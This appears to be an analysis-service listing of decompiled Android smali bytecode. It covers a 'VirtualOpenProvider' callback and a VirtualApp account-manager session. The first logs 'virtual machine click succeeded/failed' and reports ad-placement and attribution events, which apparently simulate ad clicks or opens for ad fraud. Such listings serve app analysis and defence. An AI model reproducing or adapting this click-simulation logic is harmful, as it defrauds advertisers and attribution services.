                              140invoke-virtual {v9, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              141move-result-object v8
                              143invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              144move-result-object v8
                              146invoke-static {p1, v8}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                              147goto/16 :goto_26
                              148pswitch_d0: new-instance v9, Ljava/lang/StringBuilder;
                              150invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
                              152const-string v10, "\t\tat\t"
                              154invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              155move-result-object v9
                              157invoke-virtual {v8}, Ljava/lang/StackTraceElement;->toString()Ljava/lang/String;
                              158move-result-object v8
                              160invoke-virtual {v9, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              161move-result-object v8
                              163invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              164move-result-object v8
                              166invoke-static {p1, v8}, Landroid/util/Log;->v(Ljava/lang/String;Ljava/lang/String;)I
                              167goto/16 :goto_26
                              168pswitch_ec: new-instance v9, Ljava/lang/StringBuilder;
                              170invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
                              172const-string v10, "\t\tat\t"
                              174invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              175move-result-object v9
                              177invoke-virtual {v8}, Ljava/lang/StackTraceElement;->toString()Ljava/lang/String;
                              178move-result-object v8
                              180invoke-virtual {v9, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              181move-result-object v8
                              183invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              184move-result-object v8
                              186invoke-static {p1, v8}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I
                              187goto/16 :goto_26
                              188cond_108: add-int/lit8 v0, v2, 0x1
                              189move v2, v0
                              190move v0, v3
                              191move v3, v4
                              192goto/16 :goto_a
                              193nop
                              APIs
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.String.equals
                              • android.os.Bundle.<init>
                              • android.os.Bundle.getString
                              • android.os.Bundle.putString
                              • android.os.Bundle.putString
                              • android.text.TextUtils.isEmpty
                              • java.lang.String.equals
                              • java.lang.String.isEmpty
                              • java.lang.String.equals
                              • android.text.TextUtils.isEmpty
                              • java.lang.String.equals
                              • java.lang.String.equals
                              • android.os.Bundle.<init>
                              • android.os.Bundle.getString
                              • android.os.Bundle.putString
                              • android.os.Bundle.putString
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • android.os.Bundle.getString
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              Strings
                              • appsflyerFlag
                              • appsflyerFlag
                              • 1
                              • pkg
                              • adPlacementId
                              • true
                              • 15
                              • xnjOpenHalf
                              • OpenHalf
                              • xnjOpenHalf==true
                              • 10
                              • xnjClick
                              • clickSuccess
                              • \u865a\u62df\u673a\u70b9\u51fb\u6210\u529f
                              • 4
                              • xnjOpen
                              • OpenSuccess
                              • xnjOpen==--true
                              • 9
                              • 2
                              • false
                              • 16
                              • xnjOpenHalf==false
                              • \u865a\u62df\u673a\u70b9\u51fb\u5931\u8d25path=
                              • path
                              • 5
                              • xnjOpen==--false
                              Position Instruction Meta Information
                              0.prologue
                              2iget-object v0, p0, Lcom/core/model/VirtualOpenProvider$5;->a:Lcom/core/model/VirtualOpenProvider;
                              4invoke-static {v0}, Lcom/core/model/VirtualOpenProvider;->access$200(Lcom/core/model/VirtualOpenProvider;)Landroid/content/Context;
                              5move-result-object v0
                              7const-string v1, "appsflyerFlag"
                              9invoke-static {v0, v1}, Lcom/core/model/k;->c(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
                              10move-result-object v0
                              12iget-object v1, p0, Lcom/core/model/VirtualOpenProvider$5;->a:Lcom/core/model/VirtualOpenProvider;
                              14invoke-static {v1}, Lcom/core/model/VirtualOpenProvider;->access$200(Lcom/core/model/VirtualOpenProvider;)Landroid/content/Context;
                              15move-result-object v1
                              16new-instance v2, Ljava/lang/StringBuilder;
                              18invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                              20const-string v3, "appsflyerFlag "
                              22invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              23move-result-object v2
                              25invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              26move-result-object v2
                              28invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              29move-result-object v2
                              31invoke-static {v1, v2}, Lcom/core/model/h;->a(Landroid/content/Context;Ljava/lang/String;)V
                              32if-eqz v0, :cond_5c
                              34const-string v1, "1"
                              36invoke-virtual {v1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              37move-result v1
                              38if-eqz v1, :cond_12c
                              39new-instance v0, Landroid/os/Bundle;
                              41invoke-direct {v0}, Landroid/os/Bundle;-><init>()V
                              43const-string v1, "pkg"
                              45iget-object v2, p0, Lcom/core/model/VirtualOpenProvider$5;->a:Lcom/core/model/VirtualOpenProvider;
                              47invoke-static {v2}, Lcom/core/model/VirtualOpenProvider;->access$100(Lcom/core/model/VirtualOpenProvider;)Landroid/os/Bundle;
                              48move-result-object v2
                              50const-string v3, "pkg"
                              52invoke-virtual {v2, v3}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String;
                              53move-result-object v2
                              55invoke-virtual {v0, v1, v2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                              57const-string v1, "adPlacementId"
                              59const-string v2, "true"
                              61invoke-virtual {v0, v1, v2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                              63iget-object v1, p0, Lcom/core/model/VirtualOpenProvider$5;->a:Lcom/core/model/VirtualOpenProvider;
                              65iget-object v2, p0, Lcom/core/model/VirtualOpenProvider$5;->a:Lcom/core/model/VirtualOpenProvider;
                              67invoke-static {v2}, Lcom/core/model/VirtualOpenProvider;->access$200(Lcom/core/model/VirtualOpenProvider;)Landroid/content/Context;
                              68move-result-object v2
                              70const-string v3, "15"
                              72invoke-static {v1, v2, v0, v3}, Lcom/core/model/VirtualOpenProvider;->access$300(Lcom/core/model/VirtualOpenProvider;Landroid/content/Context;Landroid/os/Bundle;Ljava/lang/String;)V
                              73goto_5c:
                              74iget-object v0, p0, Lcom/core/model/VirtualOpenProvider$5;->a:Lcom/core/model/VirtualOpenProvider;
                              76invoke-static {v0}, Lcom/core/model/VirtualOpenProvider;->access$200(Lcom/core/model/VirtualOpenProvider;)Landroid/content/Context;
                              77move-result-object v0
                              79const-string v1, "xnjOpenHalf"
                              81invoke-static {v0, v1}, Lcom/core/model/k;->c(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
                              82move-result-object v0
                              84invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              85move-result v1
                              86if-nez v1, :cond_160
                              88const-string v1, "OpenHalf"
                              90invoke-virtual {v1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              91move-result v0
                              92if-eqz v0, :cond_160
                              94iget-object v0, p0, Lcom/core/model/VirtualOpenProvider$5;->a:Lcom/core/model/VirtualOpenProvider;
                              96invoke-static {v0}, Lcom/core/model/VirtualOpenProvider;->access$200(Lcom/core/model/VirtualOpenProvider;)Landroid/content/Context;
                              97move-result-object v0
                              99const-string v1, "xnjOpenHalf==true"
                              101invoke-static {v0, v1}, Lcom/core/model/h;->a(Landroid/content/Context;Ljava/lang/String;)V
                              103iget-object v0, p0, Lcom/core/model/VirtualOpenProvider$5;->a:Lcom/core/model/VirtualOpenProvider;
                              105invoke-static {v0}, Lcom/core/model/VirtualOpenProvider;->access$200(Lcom/core/model/VirtualOpenProvider;)Landroid/content/Context;
                              106move-result-object v0
                              108const-string v1, "xnjOpenHalf"
                              110const-string v2, ""
                              112invoke-static {v0, v1, v2}, Lcom/core/model/k;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                              114iget-object v0, p0, Lcom/core/model/VirtualOpenProvider$5;->a:Lcom/core/model/VirtualOpenProvider;
                              116iget-object v1, p0, Lcom/core/model/VirtualOpenProvider$5;->a:Lcom/core/model/VirtualOpenProvider;
                              118invoke-static {v1}, Lcom/core/model/VirtualOpenProvider;->access$200(Lcom/core/model/VirtualOpenProvider;)Landroid/content/Context;
                              119move-result-object v1
                              121iget-object v2, p0, Lcom/core/model/VirtualOpenProvider$5;->a:Lcom/core/model/VirtualOpenProvider;
                              123invoke-static {v2}, Lcom/core/model/VirtualOpenProvider;->access$100(Lcom/core/model/VirtualOpenProvider;)Landroid/os/Bundle;
                              124move-result-object v2
                              126const-string v3, "10"
                              128invoke-static {v0, v1, v2, v3}, Lcom/core/model/VirtualOpenProvider;->access$300(Lcom/core/model/VirtualOpenProvider;Landroid/content/Context;Landroid/os/Bundle;Ljava/lang/String;)V
                              129goto_a1:
                              130iget-object v0, p0, Lcom/core/model/VirtualOpenProvider$5;->a:Lcom/core/model/VirtualOpenProvider;
                              132invoke-static {v0}, Lcom/core/model/VirtualOpenProvider;->access$200(Lcom/core/model/VirtualOpenProvider;)Landroid/content/Context;
                              133move-result-object v0
                              135const-string v1, "xnjClick"
                              137invoke-static {v0, v1}, Lcom/core/model/k;->c(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
                              138move-result-object v0
                              140invoke-virtual {v0}, Ljava/lang/String;->isEmpty()Z
                              141move-result v1
                              142if-nez v1, :cond_16d
                              144const-string v1, "clickSuccess"
                              146invoke-virtual {v1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              147move-result v0
                              148if-eqz v0, :cond_16d
                              150iget-object v0, p0, Lcom/core/model/VirtualOpenProvider$5;->a:Lcom/core/model/VirtualOpenProvider;
                              152invoke-static {v0}, Lcom/core/model/VirtualOpenProvider;->access$200(Lcom/core/model/VirtualOpenProvider;)Landroid/content/Context;
                              153move-result-object v0
                              155const-string v1, "\u865a\u62df\u673a\u70b9\u51fb\u6210\u529f"
                              157invoke-static {v0, v1}, Lcom/core/model/h;->a(Landroid/content/Context;Ljava/lang/String;)V
                              159iget-object v0, p0, Lcom/core/model/VirtualOpenProvider$5;->a:Lcom/core/model/VirtualOpenProvider;
                              161invoke-static {v0}, Lcom/core/model/VirtualOpenProvider;->access$200(Lcom/core/model/VirtualOpenProvider;)Landroid/content/Context;
                              162move-result-object v0
                              164const-string v1, "xnjClick"
                              166const-string v2, ""
                              168invoke-static {v0, v1, v2}, Lcom/core/model/k;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                              170iget-object v0, p0, Lcom/core/model/VirtualOpenProvider$5;->a:Lcom/core/model/VirtualOpenProvider;
                              172iget-object v1, p0, Lcom/core/model/VirtualOpenProvider$5;->a:Lcom/core/model/VirtualOpenProvider;
                              174invoke-static {v1}, Lcom/core/model/VirtualOpenProvider;->access$200(Lcom/core/model/VirtualOpenProvider;)Landroid/content/Context;
                              175move-result-object v1
                              177iget-object v2, p0, Lcom/core/model/VirtualOpenProvider$5;->a:Lcom/core/model/VirtualOpenProvider;
                              179invoke-static {v2}, Lcom/core/model/VirtualOpenProvider;->access$100(Lcom/core/model/VirtualOpenProvider;)Landroid/os/Bundle;
                              180move-result-object v2
                              182const-string v3, "4"
                              184invoke-static {v0, v1, v2, v3}, Lcom/core/model/VirtualOpenProvider;->access$300(Lcom/core/model/VirtualOpenProvider;Landroid/content/Context;Landroid/os/Bundle;Ljava/lang/String;)V
                              185goto_e6:
                              186iget-object v0, p0, Lcom/core/model/VirtualOpenProvider$5;->a:Lcom/core/model/VirtualOpenProvider;
                              188invoke-static {v0}, Lcom/core/model/VirtualOpenProvider;->access$200(Lcom/core/model/VirtualOpenProvider;)Landroid/content/Context;
                              189move-result-object v0
                              191const-string v1, "xnjOpen"
                              193invoke-static {v0, v1}, Lcom/core/model/k;->c(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
                              194move-result-object v0
                              196invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              197move-result v1
                              198if-nez v1, :cond_1aa
                              200const-string v1, "OpenSuccess"
                              202invoke-virtual {v1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              203move-result v0
                              204if-eqz v0, :cond_1aa
                              206iget-object v0, p0, Lcom/core/model/VirtualOpenProvider$5;->a:Lcom/core/model/VirtualOpenProvider;
                              208invoke-static {v0}, Lcom/core/model/VirtualOpenProvider;->access$200(Lcom/core/model/VirtualOpenProvider;)Landroid/content/Context;
                              209move-result-object v0
                              211const-string v1, "xnjOpen==--true"
                              213invoke-static {v0, v1}, Lcom/core/model/h;->a(Landroid/content/Context;Ljava/lang/String;)V
                              215iget-object v0, p0, Lcom/core/model/VirtualOpenProvider$5;->a:Lcom/core/model/VirtualOpenProvider;
                              217invoke-static {v0}, Lcom/core/model/VirtualOpenProvider;->access$200(Lcom/core/model/VirtualOpenProvider;)Landroid/content/Context;
                              218move-result-object v0
                              220const-string v1, "xnjOpen"
                              222const-string v2, ""
                              224invoke-static {v0, v1, v2}, Lcom/core/model/k;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                              226iget-object v0, p0, Lcom/core/model/VirtualOpenProvider$5;->a:Lcom/core/model/VirtualOpenProvider;
                              228iget-object v1, p0, Lcom/core/model/VirtualOpenProvider$5;->a:Lcom/core/model/VirtualOpenProvider;
                              230invoke-static {v1}, Lcom/core/model/VirtualOpenProvider;->access$200(Lcom/core/model/VirtualOpenProvider;)Landroid/content/Context;
                              231move-result-object v1
                              233iget-object v2, p0, Lcom/core/model/VirtualOpenProvider$5;->a:Lcom/core/model/VirtualOpenProvider;
                              235invoke-static {v2}, Lcom/core/model/VirtualOpenProvider;->access$100(Lcom/core/model/VirtualOpenProvider;)Landroid/os/Bundle;
                              236move-result-object v2
                              238const-string v3, "9"
                              240invoke-static {v0, v1, v2, v3}, Lcom/core/model/VirtualOpenProvider;->access$300(Lcom/core/model/VirtualOpenProvider;Landroid/content/Context;Landroid/os/Bundle;Ljava/lang/String;)V
                              241goto_12b: return-void
                              242cond_12c:
                              243const-string v1, "2"
                              245invoke-virtual {v1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              246move-result v0
                              247if-eqz v0, :cond_5c
                              248new-instance v0, Landroid/os/Bundle;
                              250invoke-direct {v0}, Landroid/os/Bundle;-><init>()V
                              252const-string v1, "pkg"
                              254iget-object v2, p0, Lcom/core/model/VirtualOpenProvider$5;->a:Lcom/core/model/VirtualOpenProvider;
                              256invoke-static {v2}, Lcom/core/model/VirtualOpenProvider;->access$100(Lcom/core/model/VirtualOpenProvider;)Landroid/os/Bundle;
                              257move-result-object v2
                              259const-string v3, "pkg"
                              261invoke-virtual {v2, v3}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String;
                              262move-result-object v2
                              264invoke-virtual {v0, v1, v2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                              266const-string v1, "adPlacementId"
                              268const-string v2, "false"
                              270invoke-virtual {v0, v1, v2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                              272iget-object v1, p0, Lcom/core/model/VirtualOpenProvider$5;->a:Lcom/core/model/VirtualOpenProvider;
                              274iget-object v2, p0, Lcom/core/model/VirtualOpenProvider$5;->a:Lcom/core/model/VirtualOpenProvider;
                              276invoke-static {v2}, Lcom/core/model/VirtualOpenProvider;->access$200(Lcom/core/model/VirtualOpenProvider;)Landroid/content/Context;
                              277move-result-object v2
                              279const-string v3, "16"
                              281invoke-static {v1, v2, v0, v3}, Lcom/core/model/VirtualOpenProvider;->access$300(Lcom/core/model/VirtualOpenProvider;Landroid/content/Context;Landroid/os/Bundle;Ljava/lang/String;)V
                              282goto/16 :goto_5c
                              283cond_160:
                              284iget-object v0, p0, Lcom/core/model/VirtualOpenProvider$5;->a:Lcom/core/model/VirtualOpenProvider;
                              286invoke-static {v0}, Lcom/core/model/VirtualOpenProvider;->access$200(Lcom/core/model/VirtualOpenProvider;)Landroid/content/Context;
                              287move-result-object v0
                              289const-string v1, "xnjOpenHalf==false"
                              291invoke-static {v0, v1}, Lcom/core/model/h;->a(Landroid/content/Context;Ljava/lang/String;)V
                              292goto/16 :goto_a1
                              293cond_16d:
                              294iget-object v0, p0, Lcom/core/model/VirtualOpenProvider$5;->a:Lcom/core/model/VirtualOpenProvider;
                              296invoke-static {v0}, Lcom/core/model/VirtualOpenProvider;->access$200(Lcom/core/model/VirtualOpenProvider;)Landroid/content/Context;
                              297move-result-object v0
                              298new-instance v1, Ljava/lang/StringBuilder;
                              300invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                              302const-string v2, "\u865a\u62df\u673a\u70b9\u51fb\u5931\u8d25path="
                              304invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              305move-result-object v1
                              307iget-object v2, p0, Lcom/core/model/VirtualOpenProvider$5;->a:Lcom/core/model/VirtualOpenProvider;
                              309invoke-static {v2}, Lcom/core/model/VirtualOpenProvider;->access$100(Lcom/core/model/VirtualOpenProvider;)Landroid/os/Bundle;
                              310move-result-object v2
                              312const-string v3, "path"
                              314invoke-virtual {v2, v3}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String;
                              315move-result-object v2
                              317invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              318move-result-object v1
                              320invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              321move-result-object v1
                              323invoke-static {v0, v1}, Lcom/core/model/h;->a(Landroid/content/Context;Ljava/lang/String;)V
                              325iget-object v0, p0, Lcom/core/model/VirtualOpenProvider$5;->a:Lcom/core/model/VirtualOpenProvider;
                              327iget-object v1, p0, Lcom/core/model/VirtualOpenProvider$5;->a:Lcom/core/model/VirtualOpenProvider;
                              329invoke-static {v1}, Lcom/core/model/VirtualOpenProvider;->access$200(Lcom/core/model/VirtualOpenProvider;)Landroid/content/Context;
                              330move-result-object v1
                              332iget-object v2, p0, Lcom/core/model/VirtualOpenProvider$5;->a:Lcom/core/model/VirtualOpenProvider;
                              334invoke-static {v2}, Lcom/core/model/VirtualOpenProvider;->access$100(Lcom/core/model/VirtualOpenProvider;)Landroid/os/Bundle;
                              335move-result-object v2
                              337const-string v3, "5"
                              339invoke-static {v0, v1, v2, v3}, Lcom/core/model/VirtualOpenProvider;->access$300(Lcom/core/model/VirtualOpenProvider;Landroid/content/Context;Landroid/os/Bundle;Ljava/lang/String;)V
                              340goto/16 :goto_e6
                              341cond_1aa:
                              342iget-object v0, p0, Lcom/core/model/VirtualOpenProvider$5;->a:Lcom/core/model/VirtualOpenProvider;
                              344invoke-static {v0}, Lcom/core/model/VirtualOpenProvider;->access$200(Lcom/core/model/VirtualOpenProvider;)Landroid/content/Context;
                              345move-result-object v0
                              347const-string v1, "xnjOpen==--false"
                              349invoke-static {v0, v1}, Lcom/core/model/h;->a(Landroid/content/Context;Ljava/lang/String;)V
                              350goto/16 :goto_12b
                              Cross References
                              APIs
                              • android.os.Bundle.getBoolean
                              • android.os.Bundle.containsKey
                              • android.os.Bundle.containsKey
                              • com.lody.virtual.server.accounts.VAccountManagerService$Session.this$0:Lcom/lody/virtual/server/accounts/VAccountManagerService
                              • com.lody.virtual.server.accounts.VAccountManagerService.access$100
                              • com.lody.virtual.server.accounts.VAccountManagerService$Session.this$0:Lcom/lody/virtual/server/accounts/VAccountManagerService
                              • com.lody.virtual.server.accounts.VAccountManagerService$Session.mAccountName:Ljava/lang/String
                              • com.lody.virtual.server.accounts.VAccountManagerService$Session.mAuthenticatorInfo:Lcom/lody/virtual/server/accounts/VAccountManagerService$AuthenticatorInfo
                              • android.accounts.AuthenticatorDescription.type:Ljava/lang/String
                              • com.lody.virtual.server.accounts.VAccountManagerService.access$200
                              • java.lang.System.currentTimeMillis
                              • com.lody.virtual.server.accounts.VAccountManagerService$Session.this$0:Lcom/lody/virtual/server/accounts/VAccountManagerService
                              • com.lody.virtual.server.accounts.VAccountManagerService.access$300
                              • android.os.Bundle.putLong
                              • android.os.Bundle.getString
                              • android.text.TextUtils.isEmpty
                              • android.os.Bundle.getParcelable
                              • android.os.Bundle.containsKey
                              • com.lody.virtual.server.accounts.VAccountManagerService$Session.mResponse:Landroid/accounts/IAccountManagerResponse
                              • com.lody.virtual.server.accounts.VAccountManagerService.access$500
                              • java.lang.StringBuilder.<init>
                              • java.lang.Object.getClass
                              • java.lang.Class.getSimpleName
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.util.Log.v
                              • android.accounts.IAccountManagerResponse.onError
                              • com.lody.virtual.server.accounts.VAccountManagerService$Session.getResponseAndClose
                              • android.os.Bundle.remove
                              • com.lody.virtual.server.accounts.VAccountManagerService.access$500
                              • java.lang.StringBuilder.<init>
                              • java.lang.Object.getClass
                              • java.lang.Class.getSimpleName
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.util.Log.v
                              • android.os.Bundle.getInt
                              • android.os.Bundle.getInt
                              • android.os.Bundle.getString
                              • android.accounts.IAccountManagerResponse.onError
                              • com.lody.virtual.server.accounts.VAccountManagerService.access$500
                              • android.util.Log.v
                              • android.accounts.IAccountManagerResponse.onResult
                              Strings
                              • booleanResult
                              • authAccount
                              • accountType
                              • lastAuthenticatedTime
                              • authtoken
                              • intent
                              • calling onError() on response
                              • null bundle returned
                              • calling onResult() on response
                              • errorCode
                              • errorMessage
                              • failure while notifying response
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v1, 0x1
                              2const/4 v2, 0x0
                              3iget v0, p0, Lcom/lody/virtual/server/accounts/VAccountManagerService$Session;->mNumResults:I
                              4add-int/lit8 v0, v0, 0x1
                              5iput v0, p0, Lcom/lody/virtual/server/accounts/VAccountManagerService$Session;->mNumResults:I
                              6if-eqz p1, :cond_65
                              8const-string v0, "booleanResult"
                              10invoke-virtual {p1, v0, v2}, Landroid/os/Bundle;->getBoolean(Ljava/lang/String;Z)Z
                              11move-result v3
                              13const-string v0, "authAccount"
                              15invoke-virtual {p1, v0}, Landroid/os/Bundle;->containsKey(Ljava/lang/String;)Z
                              16move-result v0
                              17if-eqz v0, :cond_bf
                              19const-string v0, "accountType"
                              21invoke-virtual {p1, v0}, Landroid/os/Bundle;->containsKey(Ljava/lang/String;)Z
                              22move-result v0
                              23if-eqz v0, :cond_bf
                              24move v0, v1
                              25goto_21: iget-boolean v4, p0, Lcom/lody/virtual/server/accounts/VAccountManagerService$Session;->mUpdateLastAuthenticatedTime:Z
                              26if-eqz v4, :cond_c2
                              27if-nez v3, :cond_29
                              28if-eqz v0, :cond_c2
                              29cond_29: if-nez v1, :cond_2f
                              30iget-boolean v0, p0, Lcom/lody/virtual/server/accounts/VAccountManagerService$Session;->mAuthDetailsRequired:Z
                              31if-eqz v0, :cond_65
                              32cond_2f:
                              33iget-object v0, p0, Lcom/lody/virtual/server/accounts/VAccountManagerService$Session;->this$0:Lcom/lody/virtual/server/accounts/VAccountManagerService;
                              35invoke-static {v0}, Lcom/lody/virtual/server/accounts/VAccountManagerService;->access$100(Lcom/lody/virtual/server/accounts/VAccountManagerService;)Landroid/util/SparseArray;
                              36move-result-object v2
                              37monitor-enter v2
                              38try_start_36:
                              39iget-object v0, p0, Lcom/lody/virtual/server/accounts/VAccountManagerService$Session;->this$0:Lcom/lody/virtual/server/accounts/VAccountManagerService;
                              40iget v3, p0, Lcom/lody/virtual/server/accounts/VAccountManagerService$Session;->mUserId:I
                              42iget-object v4, p0, Lcom/lody/virtual/server/accounts/VAccountManagerService$Session;->mAccountName:Ljava/lang/String;
                              44iget-object v5, p0, Lcom/lody/virtual/server/accounts/VAccountManagerService$Session;->mAuthenticatorInfo:Lcom/lody/virtual/server/accounts/VAccountManagerService$AuthenticatorInfo;
                              46iget-object v5, v5, Lcom/lody/virtual/server/accounts/VAccountManagerService$AuthenticatorInfo;->desc:Landroid/accounts/AuthenticatorDescription;
                              48iget-object v5, v5, Landroid/accounts/AuthenticatorDescription;->type:Ljava/lang/String;
                              50invoke-static {v0, v3, v4, v5}, Lcom/lody/virtual/server/accounts/VAccountManagerService;->access$200(Lcom/lody/virtual/server/accounts/VAccountManagerService;ILjava/lang/String;Ljava/lang/String;)Lcom/lody/virtual/server/accounts/VAccount;
                              51move-result-object v3
                              52if-eqz v1, :cond_55
                              53if-eqz v3, :cond_55
                              55invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
                              56move-result-wide v0
                              57iput-wide v0, v3, Lcom/lody/virtual/server/accounts/VAccount;->lastAuthenticatedTime:J
                              59iget-object v0, p0, Lcom/lody/virtual/server/accounts/VAccountManagerService$Session;->this$0:Lcom/lody/virtual/server/accounts/VAccountManagerService;
                              61invoke-static {v0}, Lcom/lody/virtual/server/accounts/VAccountManagerService;->access$300(Lcom/lody/virtual/server/accounts/VAccountManagerService;)V
                              62cond_55: iget-boolean v0, p0, Lcom/lody/virtual/server/accounts/VAccountManagerService$Session;->mAuthDetailsRequired:Z
                              63if-eqz v0, :cond_64
                              64const-wide/16 v0, -0x1
                              65if-eqz v3, :cond_5f
                              66iget-wide v0, v3, Lcom/lody/virtual/server/accounts/VAccount;->lastAuthenticatedTime:J
                              67cond_5f:
                              68const-string v3, "lastAuthenticatedTime"
                              70invoke-virtual {p1, v3, v0, v1}, Landroid/os/Bundle;->putLong(Ljava/lang/String;J)V
                              71cond_64: monitor-exit v2
                              72cond_65: if-eqz p1, :cond_73
                              74const-string v0, "authtoken"
                              76invoke-virtual {p1, v0}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String;
                              77move-result-object v0
                              79invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              80move-result v0
                              81if-nez v0, :cond_73
                              82cond_73: const/4 v0, 0x0
                              83if-eqz p1, :cond_7e
                              85const-string v0, "intent"
                              87invoke-virtual {p1, v0}, Landroid/os/Bundle;->getParcelable(Ljava/lang/String;)Landroid/os/Parcelable;
                              88move-result-object v0
                              89check-cast v0, Landroid/content/Intent;
                              90cond_7e: iget-boolean v1, p0, Lcom/lody/virtual/server/accounts/VAccountManagerService$Session;->mExpectActivityLaunch:Z
                              91if-eqz v1, :cond_c8
                              92if-eqz p1, :cond_c8
                              94const-string v1, "intent"
                              96invoke-virtual {p1, v1}, Landroid/os/Bundle;->containsKey(Ljava/lang/String;)Z
                              97move-result v1
                              98if-eqz v1, :cond_c8
                              100iget-object v1, p0, Lcom/lody/virtual/server/accounts/VAccountManagerService$Session;->mResponse:Landroid/accounts/IAccountManagerResponse;
                              101goto_8e: if-eqz v1, :cond_be
                              102if-nez p1, :cond_cd
                              103try_start_92:
                              104invoke-static {}, Lcom/lody/virtual/server/accounts/VAccountManagerService;->access$500()Ljava/lang/String;
                              105move-result-object v0
                              106new-instance v2, Ljava/lang/StringBuilder;
                              108invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                              110invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                              111move-result-object v3
                              113invoke-virtual {v3}, Ljava/lang/Class;->getSimpleName()Ljava/lang/String;
                              114move-result-object v3
                              116invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              117move-result-object v2
                              119const-string v3, " calling onError() on response "
                              121invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              122move-result-object v2
                              124invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                              125move-result-object v2
                              127invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              128move-result-object v2
                              130invoke-static {v0, v2}, Landroid/util/Log;->v(Ljava/lang/String;Ljava/lang/String;)I
                              131const/4 v0, 0x5
                              133const-string v2, "null bundle returned"
                              135invoke-interface {v1, v0, v2}, Landroid/accounts/IAccountManagerResponse;->onError(ILjava/lang/String;)V
                              136goto_be: return-void
                              137cond_bf: move v0, v2
                              138goto/16 :goto_21
                              139cond_c2: move v1, v2
                              140goto/16 :goto_29
                              141catchall_c5: move-exception v0
                              142try_start_c6: monitor-exit v2
                              143try_end_c7: throw v0
                              144cond_c8:
                              145invoke-virtual {p0}, Lcom/lody/virtual/server/accounts/VAccountManagerService$Session;->getResponseAndClose()Landroid/accounts/IAccountManagerResponse;
                              146move-result-object v1
                              147goto/16 :goto_8e
                              148cond_cd: iget-boolean v2, p0, Lcom/lody/virtual/server/accounts/VAccountManagerService$Session;->mStripAuthTokenFromResult:Z
                              149if-eqz v2, :cond_d6
                              151const-string v2, "authtoken"
                              153invoke-virtual {p1, v2}, Landroid/os/Bundle;->remove(Ljava/lang/String;)V
                              154cond_d6:
